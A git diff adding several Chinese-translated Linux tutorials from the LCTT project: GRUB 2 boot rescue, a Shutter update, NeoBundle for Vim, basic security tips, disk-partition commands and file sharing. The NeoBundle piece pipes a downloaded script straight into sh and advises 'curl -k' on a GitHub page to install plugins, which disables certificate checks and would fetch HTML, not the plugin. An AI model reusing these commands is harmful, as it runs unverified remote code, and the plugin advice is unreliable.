+好消息是,update-grub脚本可以可靠的检测内核、启动文件,并添加所有的操作系统,自动生成你的启动菜单,所以你不必手动的修改他们。 + +我们还要学习如何解决两个常见的故障。当启动系统时,它会停在grub>提示上,这是一个完整的GRUB 2命令界面,所以不要惊慌。这意味着GRUB 2依旧可以正常启动和加载normal.mod模块(它和其他模块分别位于/boot/grub/[架构]/ 下),但没有找到你的grub.cfg文件。如果你看到grub rescue> 这意味着它无法找到normal.mod,因此它有可能找不到你的启动文件。 + +这是如何发生的?因为内核可能改变驱动器分区号码的分配,或者您移动了您的硬盘驱动器,或者你手动改变一些分区,也有可能是安装一个新的操作系统或者移动一些文件。在这些情况下你的启动文件仍然存在,但GRUB不能找到他们。所以你可以在GRUB提示符中找到启动文件,设置它们的位置,然后启动您的系统并修复GRUB配置。 + +### GRUB 2 命令行 ### + +GRUB 2 的命令界面和上一代GRUB中的一样强大。你可以用它来找到引导镜像,内核和根文件系统。事实上,它可以让你避开权限和其它访问控制,完全访问本地计算机上的所有文件。有些人可能会认为这是一个安全漏洞,但是你知道古老的UNIX的名言:有物理访问机器权限的人,就是拥有它的人。 + +当你在` grub > `提示时,你有许多类似命令行界面的功能,如命令历史和tab补全。但是`grub rescue> `模式是受限的,没有命令历史,没有tab补全。 + +如果你是在一个正常运作的系统上练习,那就当GRUB菜单出现时,可以按下C来打开GRUB命令行界面。你可以通过向上和向下光标键滚动你的菜单条目来停止启动倒计时。在GRUB命令行下做实验是安全的,因为做不了永久的修改,一切都是暂时的。如果你已经看到`grub > `或`grub rescue> `提示符,那就说明你的表现时刻到了。 + +接下来的几个命令可以在`grub>`和`grub rescue`模式下运行。你应该运行的第一个命令是设置一个分页器,将长的命令分页。如下: + + grub> set pager=1 + +等号两侧必须不能出现空格。现在让我们做一点探索。输入`ls`来列出的GRUB识别的所有分区: + + grub> ls + (hd0) (hd0,msdos2) (hd0,msdos1) + +msdos是什么?这意味着该系统具有老式的MS-DOS分区表,而不是全新的全局唯一标识符的分区表(GPT)。参见“[在Linux下使用新的GUID分区表,和古老的MBR说再见!][1]”。如果你正在运行的GPT,它会出现(hd0,GPT1)。现在让我们看看,使用ls命令查看你的系统里面有什么文件: + + grub> ls (hd0,1)/ + lost+found/ bin/ boot/ cdrom/ dev/ etc/ home/ lib/ + lib64/ media/ mnt/ opt/ proc/ root/ run/ sbin/ + srv/ sys/ tmp/ usr/ var/ vmlinuz vmlinuz.old + initrd.img initrd.img.old + +太好了,我们已经找到了根文件系统。你可以省略msdos和GPT的标签。如果没有加分区后面的斜杠/,则只会列出分区的信息。你可以用cat命令显示文件系统上的任何文件: + + grub> cat (hd0,1)/etc/issue + Ubuntu 14.04 LTS \n \l + +在一个多引导系统上,通过/etc/issue文件可以知道这是哪个Linux系统。 + +### 从 grub> 中启动### + +下面讲述如何设置启动文件并从`grub >`提示下启动系统。我们已经知道如何从Linux根文件系统(hd0,1)下运行ls命令,你可以一直寻找直到找到你的/boot/grub所在位置。然后运行以下命令,记得使用您自己的根分区,内核和initrd映像等参数: + + grub> set root=(hd0,1) + grub> linux /boot/vmlinuz-3.13.0-29-generic root=/dev/sda1 + grub> initrd /boot/initrd.img-3.13.0-29-generic + grub> boot + +第一行设置分区的根文件系统。第二行告诉GRUB您想要使用的内核位置。开始输入/boot/vmli,然后使用tab补完填写。输入`root= /dev/sdX`设置根文件系统位置。是的,这似乎是多余的,但如果你忘记了输入,你会得到一个kernel panic。你知道怎么找到正确的分区吗?hd0,1 即 /dev/sda1,hd1,1 即 /dev/sdb1,hd3,2 即 /dev/ sdd2。我想你可以自己推算剩下的了。 + +第三行设置initrd文件,必须是和内核相同的版本号。 + +最后一行启动系统。 + +在一些Linux系统上,内核和initrd是被符号链接到当前的根文件系统的根目录,就像: + + $ ls -l / + vmlinuz -> boot/vmlinuz-3.13.0-29-generic + initrd.img -> boot/initrd.img-3.13.0-29-generic + +所以,你也可以这样输入命令: + + grub> set root=(hd0,1) + grub> linux /vmlinuz root=/dev/sda1 + grub> initrd /initrd.img + grub> boot + +### 从grub rescue> 中启动 ### + +如果你处在grub rescue> 命令界面下,命令有所不同,你必须要先加载两个模块normal.mod 和 linux.mod。 + + grub rescue> set prefix=(hd0,1)/boot/grub + grub rescue> set root=(hd0,1) + grub rescue> insmod normal + grub rescue> normal + grub rescue> insmod linux + grub rescue> linux /boot/vmlinuz-3.13.0-29-generic root=/dev/sda1 + grub rescue> initrd /boot/initrd.img-3.13.0-29-generic + grub rescue> boot + +在你加载了这两个模块之后tab补完的功能就可以用了。 + +### 永久性的修复 ### + +当你成功地启动你的系统,运行这些命令来永久修复GRUB: + + # update-grub + Generating grub configuration file ... + Found background: /usr/share/images/grub/Apollo_17_The_Last_Moon_Shot_Edit1.tga + Found background image: /usr/share/images/grub/Apollo_17_The_Last_Moon_Shot_Edit1.tga + Found linux image: /boot/vmlinuz-3.13.0-29-generic + Found initrd image: /boot/initrd.img-3.13.0-29-generic + Found linux image: /boot/vmlinuz-3.13.0-27-generic + Found initrd image: /boot/initrd.img-3.13.0-27-generic + Found linux image: /boot/vmlinuz-3.13.0-24-generic + Found initrd image: /boot/initrd.img-3.13.0-24-generic + Found memtest86+ image: /boot/memtest86+.elf + Found memtest86+ image: /boot/memtest86+.bin + done + # grub-install /dev/sda + Installing for i386-pc platform. + Installation finished. No error reported. + +当你运行 `grub-install` 时,记得GRUB是安装到整个硬盘驱动器的主引导扇区而不是到一个具体分区,所以不要加上像/dev/sda1一样的分区号。 + +### 如果还是不能使用 ### + +如果你的系统是如此的倒霉,而且这个方式没有能起作用,那就尝试[超级GRUB2现场救援磁盘][2]吧。[官方GNU GRUB手册][3]也应该有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/776643-how-to-rescue-a-non-booting-grub-2-on-linux + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux.com/learn/tutorials/730440-using-the-new-guid-partition-table-in-linux-good-bye-ancient-mbr- +[2]:http://www.supergrubdisk.org/ +[3]:https://www.gnu.org/software/grub/manual/grub.html diff --git a/published/201407/20140616 Linux Screenshot App Shutter Updates with Bug Fixes, New Icon.md b/published/201407/20140616 Linux Screenshot App Shutter Updates with Bug Fixes, New Icon.md new file mode 100644 index 0000000000..eaf3cccec7 --- /dev/null +++ b/published/201407/20140616 Linux Screenshot App Shutter Updates with Bug Fixes, New Icon.md @@ -0,0 +1,37 @@ +Linux 截屏软件 Shutter +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/shutter.jpg) + +**[Shutter][1],是一款Linux平台下广受欢迎的截屏软件。最近的更新中,该软件修复了若干bug,并且使用了新的应用图标。** + +这款开源并且功能强大的截屏工具可以让你选择桌面的任意区域、指定应用窗口或者整个屏幕区域来进行截屏。此外,你还可以添加注释、文本或者特效。 + +0.91版本修复了若干明显的bug,包括在Ubuntu 14.04中缩略图无法正常地在应用切换栏中显示的问题。由于'imm.io'在今年早期停止了服务,所以此次更新还取消了将截图上传到Pixlr图像服务的选项。 + +最后,这次更新突出了由 Lucas Romero Di Benedetto 精心设计的相机快门式应用图标。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/compare-350x200.png) + +### 在Ubuntu环境下安装Shutter 0.91版本 ### + +升级到Shutter的最新版本是非常简单的——前提是你添加了该软件的PPA。[The Shutter PPA][2] 面向Ubuntu 12.04 LTS、13.10、14.04 LTS提供该软件最新稳定的发行版。 + + sudo add-apt-repository ppa:shutter/ppa + + sudo apt-get update && sudo apt-get install shutter + +不喜欢PPA?那么你也可以从该项目的主页下载Debian安装包。如果你使用的是Ubuntu 14.04 LTS系统,你可以点击下面的链接来下载安装包。 + +- [下载适用于Ubuntu 14.04 LTS系统的Shutter 0.91][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/06/shutter-0-91-new-icon + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://apps.ubuntu.com/cat/applications/shutter/ +[2]:https://launchpad.net/~shutter/+archive/ppa +[3]:https://launchpad.net/~shutter/+archive/ppa/+files/shutter_0.91%7Eppa2%7Eubuntu14.04.1_all.deb diff --git a/published/201407/20140616 Managing Vim extensions with NeoBundle.md b/published/201407/20140616 Managing Vim extensions with NeoBundle.md new file mode 100644 index 0000000000..1246d99f7d --- /dev/null +++ b/published/201407/20140616 Managing Vim extensions with NeoBundle.md @@ -0,0 +1,86 @@ +教你用NeoBundle管理Vim插件 +================================================================================ +[NeoBundle][1] 是一个 [Vim][2] 的插件管理器,以 [Vundle][3] 为基础(Vundle 是一个基于 [Pathogen][4] 的 Vim 插件管理器)。在之前的文章中,我[非常不推荐使用 Neobundle][5],原因是它当时还处于高速开发阶段(LCTT:意味着不稳定、变数大),并且当时它的英文文档很少。现在,已经过了一年多了,这两个问题都早已不再是问题。 + +我们为什么要使用插件管理器?Vim 支持大量插件,但是由于它没有严格定义框架,插件的文件可以胡乱分布在不同目录下,导致用户管理起来会很困难(LCTT:当然,前提是你有很多插件,还有点小小的强迫症,觉得理一理这些插件心里会舒服点)。而一款插件管理器能让管理变得简单许多。Pathogen, Vundle 和 NeoBundle 的工作就是为不同插件建立一个目录,然后将这些目录扔到 ~/.vim/bundle 目录下。这个文件整理方法可以让你方便彻底地删除插件,使用 'rm -rf <插件目录>' 或直接在文件管理器里面把插件所在的目录删除就可以了,绝对绿色环保无残留。同时,这种方法还能最大程度避免插件与插件之间的不兼容性。 + +NeoBundle 是一个基于 Vundle 的项目,如同 Vundle,它们都可以安装和升级插件。然而 NeoBundle 的说明文件上明确指出:“NeoBundle 不是一个稳定的插件管理器,如果你想要一个稳定的,请选择 Vundle”。最新的 release-note 上也有警告“可能会造成兼容性问题”——这是一个开发者写的注解,说明这个管理器还不能让人放心使用。 + +所以,我们为什么要使用 NeoBundle?它都不能保证稳定运行!好吧,它还是有可取之处的。Vundle 只支持 [Git][6] 这种版本控制系统,而 NeoBundle 可以支持 [Subversion][7] 和 [Mercurial][8]。另一个原因是如果你不想插件升级时破坏你的 Vim 生态环境,你可以锁住 NeoBundle,让它只使用某个插件的固定版本。 + +另外,NeoBundle 创建者,Shougo Matsuishita(LCTT:名字看着像日本人),正在将它的命令接口添加到其他插件项目,以便减少他们的命令使用量。现在 NeoBundle 支持3种插件:[unite.vim][9],Vim 使用的文件和缓存管理器;[vimshell.vim][10],Vim 使用的脚本程序;[vimproc.vim][11],运行于 vimshell.vim 中,用于对异步事件的支持。上面说的都是特殊案例,缺少英文文档,所以用户希望有人能完善它们。在正式使用它们之前,我们需要把注意力先集中在一些基本操作上。 + +### 安装并初始化 NeoBundle ### + +NeoBundle 支持 Vim 7.2.051 或更高版本,需要 git 和 [cURL][12](用于下载文件)。你可以手动下载 NeoBundle,也可以使用 cURL 下载它在 GitHub 上的库。在你的 home 目录下使用如下命令,可以将 NeoBundle 插件下载到 .vim/bundle/neobundle.vim 目录里,然后 NeoBundle 就能管理它自己了。 + + curl https://raw.githubusercontent.com/Shougo/neobundle.vim/master/bin/install.sh | sh + +你还需要修改 .vimrc 文件。NeoBundle 的 GitHub 主页提供一个 .vimrc 范本,但是直接使用这个范本,NeoBundle 需要你安装5个可能不需要插件。如果不需要它们,你可以使用下面的最小配置: + + if has('vim_starting') + set nocompatible + set runtimepath+=~/.vim/bundle/neobundle.vim/ + call neobundle#begin(expand('~/.vim/bundle/')) + NeoBundleFetch 'Shougo/neobundle.vim' + call neobundle#end() + filetype plugin indent on + +上述配置的作用是:启动 NeoBundle 并且像其他插件一样升级自己。NeoBundle 默认从 GitHub 下载并升级,如果你正好在使用 GitHub,你只需要为这个插件指定维护者的用户名和路径。在上面的配置中,NeoBundleFetch 只需要指定为“Shougo/neobundle.vim”,而不是完整的 GitHub 路径。如果你想使用其他网站,比如是 Subversion 或 Mecurial 的网站,你就需要添加完整的 URL。 + +如果你想安装其他插件,你可以使用下面的命令: + + curl -k https://github.com/[项目维护者]/[插件路径] > ~/.vim/bundle/[插件路径] + +举个例子:你想安装 [vim-abolish][13],一个超级 NB 的文本搜索和替换插件,就使用下面的命令: + + curl -k https://github.com/tpope/vim-abolish > ~/.vim/bundle/abolish + +如果要让它自动升级,在 NeoBundleFetch 那行下面添加一行: + + NeoBundle 'tpope/vim-abolish' + +再介绍一个小技巧:你可以为插件指定一个分支或版本号。什么意思?NeoBundle 只会使用这个插件的某个分支或版本,而忽略其版本更新。如果你使用的某个插件处于高速开发过程,你就可以使用这个技巧,避免用到有 bug 的插件版本。举个例子: + + NeoBundle 'Shougo/vimshell', { 'rev' : '3787e5' } + +还有一个技巧:在 .vimtc 文件内添加一行关于“NeoBundleCheck”的属性。NeoBundle 会根据配置检查没安装的插件,并提示你安装它们。你也可以使用命令“:NeoBundleInstall”(LCTT:这是要在 Vim 编辑器的命令模式下输入)来安装或升级插件。 + +### NeoBundle 用法 ### + +很多 NeoBundle 命令用起来和 Vundle 类似,但命令的名字不一样。下面是 NeoBundle 命令的用法: + +- `:NeoBundleUpdate`:安装或升级插件,如果你手动把一个插件的目录删除了,这个命令会重新安装这个插件。在这个命令后面加上插件名称,就只升级一个插件;不加参数,会将所有己安装但没被记录在案的插件给记录下来。`:NeoBundleInstall` 命令效果相同。 +- `:NeoBundle {REPOSITORY URI} [[REVISION}] [,OPTIONS}]]`:将一个插件锁定到固定版本,防止胡乱升级。 +- `:NeoBundleList`:列出所有未初始化的插件。 +- `:NeoBundleClean`:进入交互界面,删除插件。 + +这些命令在配合 unite.vim (LCTT:就是上面举过的32个例子之一)使用时,效果会稍微有些出入。你可以使用“:help neobundle”命令了解更多信息。 + +### 是否使用 NeoBundle,自己决定 ### + +NeoBundle 是强大的工具,正处于高速开发状态。任何处于这种状态的项目,都会被帖上“有前途”和“不稳定”两个标签,看你自己怎么选。如果你想要最新的稳定版本的插件,NeoBundle 能够把 Vundle 和 Pathogen 甩出几条街。 + +然而在线帮助文档已经给出警告,它不是个稳定的产品,不及时更新版本可能造成一些插件运行出错。最后,你需要在 .vimrc 文件为你的 Neoundle 和其他插件指定一个稳定的版本。记住这警告,然后你可以在使用这些尖端技术产品时游刃有余。 + +-------------------------------------------------------------------------------- + +via: http://www.openlogic.com/wazi/bid/348084/Managing-Vim-extensions-with-NeoBundle + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/Shougo/neobundle.vim +[2]:http://olex.openlogic.com/packages/vim +[3]:https://github.com/gmarik/Vundle.vim +[4]:https://github.com/tpope/vim-pathogen +[5]:http://www.openlogic.com/wazi/bid/262302/Three-tools-for-managing-Vim-plugins +[6]:http://olex.openlogic.com/packages/git +[7]:http://olex.openlogic.com/packages/subversion +[8]:http://olex.openlogic.com/packages/mercurial +[9]:https://github.com/Shougo/unite.vim +[10]:https://github.com/Shougo/vimshell.vim/blob/master/doc/vimshell.txt +[11]:https://github.com/Shougo/vimproc.vim/blob/master/doc/vimproc.txt +[12]:http://olex.openlogic.com/packages/curl +[13]:https://github.com/tpope/vim-abolish diff --git a/published/201407/20140617 9 Good Ways To Protect Your Linux System.md b/published/201407/20140617 9 Good Ways To Protect Your Linux System.md new file mode 100644 index 0000000000..7d7b3c477a --- /dev/null +++ b/published/201407/20140617 9 Good Ways To Protect Your Linux System.md @@ -0,0 +1,58 @@ +保护你的Linux系统的九个老生常谈 +================================================================================ +在现在这个世道中,保障基于Linux的系统的安全是十分重要的。但是,你得知道怎么干。一个简单反恶意程序软件是远远不够的,你需要采取其它措施来协同工作。那么试试下面这些手段吧。 + +![](http://www.efytimes.com/admin/useradmin/photo/2Rak10143PM6172014.jpeg) + +### 1. 使用SELinux ### + +[SELinux][1]是用来对Linux进行安全加固的,有了它,用户和管理员们就可以对访问控制进行更多控制。SELinux为访问控制添加了更细的颗粒度控制。与仅可以指定谁可以读、写或执行一个文件的权限不同的是,SELinux可以让你指定谁可以删除链接、只能追加、移动一个文件之类的更多控制。(LCTT译注:虽然NSA也给SELinux贡献过很多代码,但是目前尚无证据证明SELinux有潜在后门) + +### 2. 订阅漏洞警报服务 ### + +安全缺陷不一定是在你的操作系统上。事实上,漏洞多见于安装的应用程序之中。为了避免这个问题的发生,你必须保持你的应用程序更新到最新版本。此外,订阅漏洞警报服务,如[SecurityFocus][2]。 + +### 3. 禁用不用的服务和应用 ### + +通常来讲,用户大多数时候都用不到他们系统上的服务和应用的一半。然而,这些服务和应用还是会运行,这会招来攻击者。因而,最好是把这些不用的服务停掉。(LCTT译注:或者干脆不安装那些用不到的服务,这样根本就不用关注它们是否有安全漏洞和该升级了。) + +### 4. 检查系统日志 ### + +你的系统日志告诉你在系统上发生了什么活动,包括攻击者是否成功进入或试着访问系统。时刻保持警惕,这是你第一条防线,而经常性地监控系统日志就是为了守好这道防线。 + +### 5. 考虑使用端口试探 ### + +设置[端口试探(Port knocking)][4]是建立服务器安全连接的好方法。一般做法是发生特定的包给服务器,以触发服务器的回应/连接(打开防火墙)。端口敲门对于那些有开放端口的系统是一个很好的防护措施。 + +下面是来自 http://www.portknocking.org/ 的示意图: + +![](http://www.portknocking.org/images/portknocking-explained-01.png)![](http://www.portknocking.org/images/portknocking-explained-02.png)![](http://www.portknocking.org/images/portknocking-explained-03.png)![](http://www.portknocking.org/images/portknocking-explained-04.png) + +### 6. 使用Iptables ### + +Iptables是什么?这是一个应用框架,它允许用户自己为系统建立一个强大的防火墙。因此,要提升安全防护能力,就要学习怎样一个好的防火墙以及怎样使用Iptables框架。 + +### 7. 默认拒绝所有 ### + +防火墙有两种思路:一个是允许每一点通信,另一个是拒绝所有访问,提示你是否许可。第二种更好一些。你应该只允许那些重要的通信进入。(LCTT译注:即默认许可策略和默认禁止策略,前者你需要指定哪些应该禁止,除此之外统统放行;后者你需要指定哪些可以放行,除此之外全部禁止。) + +### 8. 使用入侵检测系统 ### + +入侵检测系统,或者叫IDS,允许你更好地管理系统上的通信和受到的攻击。[Snort][3]是目前公认的Linux上的最好的IDS。 + +### 9. 使用全盘加密 ### + +加密的数据更难窃取,有时候根本不可能被窃取,这就是你应该对整个驱动器加密的原因。采用这种方式后,如果有某个人进入到你的系统,那么他看到这些加密的数据后,就有得头痛了。根据一些报告,大多数数据丢失源于机器被盗。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=141368 + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://selinuxproject.org/page/Main_Page +[2]:http://www.securityfocus.com/rss/vulnerabilities.xml +[3]:http://www.snort.org/ +[4]:http://en.wikipedia.org/wiki/Port_knocking diff --git a/published/201407/20140617 9 commands to check hard disk partitions and disk space on Linux.md b/published/201407/20140617 9 commands to check hard disk partitions and disk space on Linux.md new file mode 100644 index 0000000000..77f5c5d637 --- /dev/null +++ b/published/201407/20140617 9 commands to check hard disk partitions and disk space on Linux.md @@ -0,0 +1,235 @@ +Linux下掌控磁盘分区的九大神器 +================================================================================ + +在这篇文章中,我们来了解一些用来检查你的系统分区的一些命令,这些命令将检查每个磁盘的分区情况和其它细节,例如总空间容量,已用完的空间和文件系统等。 + +像fdisk,sfdisk和cfdisk命令这样的常规分区工具,不仅可以显示分区信息,还可以修改。 + +### 1. fdisk ### + +Fdisk是检查磁盘上分区的最常用命令,fdisk命令可以显示分区和细节,如文件系统类型,但是它并不报告每个分区的字节大小。 + + $ sudo fdisk -l + + Disk /dev/sda: 500.1 GB, 500107862016 bytes + 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk identifier: 0x30093008 + + Device Boot Start End Blocks Id System + /dev/sda1 * 63 146801969 73400953+ 7 HPFS/NTFS/exFAT + /dev/sda2 146802031 976771071 414984520+ f W95 Ext'd (LBA) + /dev/sda5 146802033 351614654 102406311 7 HPFS/NTFS/exFAT + /dev/sda6 351614718 556427339 102406311 83 Linux + /dev/sda7 556429312 560427007 1998848 82 Linux swap / Solaris + /dev/sda8 560429056 976771071 208171008 83 Linux + + Disk /dev/sdb: 4048 MB, 4048551936 bytes + 54 heads, 9 sectors/track, 16270 cylinders, total 7907328 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk identifier: 0x0001135d + + Device Boot Start End Blocks Id System + /dev/sdb1 * 2048 7907327 3952640 b W95 FAT32 + +每个设备都单独显示其详细信息:容量大小,扇区数,设备ID及其包含的每个分区。 + +### 2. sfdisk ### + +Sfdisk是另一种跟fdisk用途相似的实用工具,但具有更多的功能。它能够以MB为单位显示每个分区的大小。 + + $ sudo sfdisk -l -uM + + Disk /dev/sda: 60801 cylinders, 255 heads, 63 sectors/track + Warning: extended partition does not start at a cylinder boundary. + DOS and Linux will interpret the contents differently. + Units = mebibytes of 1048576 bytes, blocks of 1024 bytes, counting from 0 + + Device Boot Start End MiB #blocks Id System + /dev/sda1 * 0+ 71680- 71681- 73400953+ 7 HPFS/NTFS/exFAT + /dev/sda2 71680+ 476938 405259- 414984520+ f W95 Ext'd (LBA) + /dev/sda3 0 - 0 0 0 Empty + /dev/sda4 0 - 0 0 0 Empty + /dev/sda5 71680+ 171686- 100007- 102406311 7 HPFS/NTFS/exFAT + /dev/sda6 171686+ 271693- 100007- 102406311 83 Linux + /dev/sda7 271694 273645 1952 1998848 82 Linux swap / Solaris + /dev/sda8 273647 476938 203292 208171008 83 Linux + + Disk /dev/sdb: 1020 cylinders, 125 heads, 62 sectors/track + Warning: The partition table looks like it was made + for C/H/S=*/54/9 (instead of 1020/125/62). + For this listing I'll assume that geometry. + Units = mebibytes of 1048576 bytes, blocks of 1024 bytes, counting from 0 + + Device Boot Start End MiB #blocks Id System + /dev/sdb1 * 1 3860 3860 3952640 b W95 FAT32 + start: (c,h,s) expected (4,11,6) found (0,32,33) + end: (c,h,s) expected (1023,53,9) found (492,53,9) + /dev/sdb2 0 - 0 0 0 Empty + /dev/sdb3 0 - 0 0 0 Empty + /dev/sdb4 0 - 0 0 0 Empty + +### 3. cfdisk ### + +Cfdisk是一个基于ncurses(提供字符终端处理库,包括面板和菜单)的带有交互式用户界面的Linux分区编辑器,它可以用来列出现有分区以及创建或修改这些分区。 + +下面是一个如何使用Cfdisk来列出分区的例子。 + +![linux cfdisk disk partitions](http://www.binarytides.com/blog/wp-content/uploads/2014/06/linux-cfdisk.png) + +Cfdisk一次只能列出一个分区,所以如果你需要看某一磁盘的细节,可以把该磁盘的设备名作为Cfdisk的参数。 + + $ sudo cfdisk /dev/sdb + +### 4. parted ### + +Parted是另一个命令行实用程序,可以列出分区;如果需要的话,也可进行修改。 + +下面是一个例子,列出了详细的分区信息。 + + $ sudo parted -l + Model: ATA ST3500418AS (scsi) + Disk /dev/sda: 500GB + Sector size (logical/physical): 512B/512B + Partition Table: msdos + + Number Start End Size Type File system Flags + 1 32.3kB 75.2GB 75.2GB primary ntfs boot + 2 75.2GB 500GB 425GB extended lba + 5 75.2GB 180GB 105GB logical ntfs + 6 180GB 285GB 105GB logical ext4 + 7 285GB 287GB 2047MB logical linux-swap(v1) + 8 287GB 500GB 213GB logical ext4 + + + Model: Sony Storage Media (scsi) + Disk /dev/sdb: 4049MB + Sector size (logical/physical): 512B/512B + Partition Table: msdos + + Number Start End Size Type File system Flags + 1 1049kB 4049MB 4048MB primary fat32 boot + +### 5. df ### + +Df是不是一个分区工具,但它打印出挂装文件系统的细节,Df可以列出甚至不是真实的磁盘分区的文件系统。 + +这里是个简单的例子: + + $ df -h + Filesystem Size Used Avail Use% Mounted on + /dev/sda6 97G 43G 49G 48% / + none 4.0K 0 4.0K 0% /sys/fs/cgroup + udev 3.9G 8.0K 3.9G 1% /dev + tmpfs 799M 1.7M 797M 1% /run + none 5.0M 0 5.0M 0% /run/lock + none 3.9G 12M 3.9G 1% /run/shm + none 100M 20K 100M 1% /run/user + /dev/sda8 196G 154G 33G 83% /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 98G 37G 62G 38% /media/4668484A68483B47 + +只有以 /dev 开始的文件系统才是实际的设备或分区。 + +可以使用grep命令来筛选出实际的硬盘分区或文件系统。 + + $ df -h | grep ^/dev + /dev/sda6 97G 43G 49G 48% / + /dev/sda8 196G 154G 33G 83% /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 98G 37G 62G 38% /media/4668484A68483B47 + +要只显示真正的磁盘分区与分区类型,可以这样使用Df: + + $ df -h --output=source,fstype,size,used,avail,pcent,target -x tmpfs -x devtmpfs + Filesystem Type Size Used Avail Use% Mounted on + /dev/sda6 ext4 97G 43G 49G 48% / + /dev/sda8 ext4 196G 154G 33G 83% /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 fuseblk 98G 37G 62G 38% /media/4668484A68483B47 + +请注意,Df只显示已挂载的文件系统或分区,并不是所有。 + +### 6. pydf ### + +它是用Python写的Df的改进版本,以易读的方式打印出所有磁盘分区。 + + $ pydf + Filesystem Size Used Avail Use% Mounted on + /dev/sda6 96G 43G 48G 44.7 [####.....] / + /dev/sda8 195G 153G 32G 78.4 [#######..] /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda5 98G 36G 61G 37.1 [###......] /media/4668484A68483B47 + +另外,pydf被限制为仅显示已挂载的文件系统。 + +### 7. lsblk ### + +列出了所有的块存储设备,包括磁盘分区和光盘驱动器。细节包括所有分区/块总大小和挂载点。 + +它不会报告分区上的已使用和空闲磁盘空间。 + + $ lsblk + NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT + sda 8:0 0 465.8G 0 disk + ├─sda1 8:1 0 70G 0 part + ├─sda2 8:2 0 1K 0 part + ├─sda5 8:5 0 97.7G 0 part /media/4668484A68483B47 + ├─sda6 8:6 0 97.7G 0 part / + ├─sda7 8:7 0 1.9G 0 part [SWAP] + └─sda8 8:8 0 198.5G 0 part /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + sdb 8:16 1 3.8G 0 disk + └─sdb1 8:17 1 3.8G 0 part + sr0 11:0 1 1024M 0 rom + + +如果没有挂载点,这就意味着文件系统未安装,而对于cd/dvd这意味着没有插入光盘。 + +lsblk能够显示每个设备的更多信息,如标签和型号,更多请查看信息手册。 + +### 8. blkid ### + +显示块设备(分区和存储介质)属性,例如UUID和文件系统类型,不报告分区空间。 + + $ sudo blkid + /dev/sda1: UUID="5E38BE8B38BE6227" TYPE="ntfs" + /dev/sda5: UUID="4668484A68483B47" TYPE="ntfs" + /dev/sda6: UUID="6fa5a72a-ba26-4588-a103-74bb6b33a763" TYPE="ext4" + /dev/sda7: UUID="94443023-34a1-4428-8f65-2fb02e571dae" TYPE="swap" + /dev/sda8: UUID="13f35f59-f023-4d98-b06f-9dfaebefd6c1" TYPE="ext4" + /dev/sdb1: UUID="08D1-8024" TYPE="vfat" + +### 9. hwinfo ### + +hwinfo是一个通用的硬件信息的工具,可以用来打印出磁盘和分区表,但是输出不再像上面的命令那样打印每个分区的详细信息。 + + $ hwinfo --block --short + disk: + /dev/sda ST3500418AS + /dev/sdb Sony Storage Media + partition: + /dev/sda1 Partition + /dev/sda2 Partition + /dev/sda5 Partition + /dev/sda6 Partition + /dev/sda7 Partition + /dev/sda8 Partition + /dev/sdb1 Partition + cdrom: + /dev/sr0 SONY DVD RW DRU-190A + +### 总结 ### + +parted的输出可以得到简洁而完整的不同分区的概述、其上的文件系统以及总空间。pydf和df它们一样,只是被限制为只显示已挂载文件系统。 + +fdisk和sfdisk显示完整大量的信息,需要花些时间来解释。cfdisk是一个交互式分区工具,每次显示一个单一的设备。 + +来尝试下这些命令吧,别忘了在下面评论哟! + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-command-check-disk-partitions/ + +译者:[tenght](https://github.com/tenght) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201407/20140617 How to Share Files Between Windows, Mac, and Linux PCs on a Network.md b/published/201407/20140617 How to Share Files Between Windows, Mac, and Linux PCs on a Network.md new file mode 100644 index 0000000000..72ff9e4851 --- /dev/null +++ b/published/201407/20140617 How to Share Files Between Windows, Mac, and Linux PCs on a Network.md @@ -0,0 +1,85 @@ +如何通过网络在Windows、MAC和Linux之间共享文件 +================================================================================ +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/windows-mac-and-linux-network.jpg) + +家庭[文件共享][1]曾经是一个噩梦,即使在不同的Windows版本之间—— 甚至不考虑Mac和Linux!但现在这些操作系统可以相互通信并且无需特殊软件就可共享文件。 + +我们之前使用SMB协议来做到这点。Windows使用SMB来做文件共享,同时Mac和Linux发行版都内置支持SMB。Microsoft甚至给开源Samba项目[提交过补丁][2]来改进它! + +### 在Windows上共享文件夹 ### + +既然其他操作系统不能访问家庭组,您需要[启用Windows老式的文件共享][3]。要做到这点,打开控制面板进入网络和共享> 更改高级共享设置。启用“网络发现”和“文件与打印共享”。 + 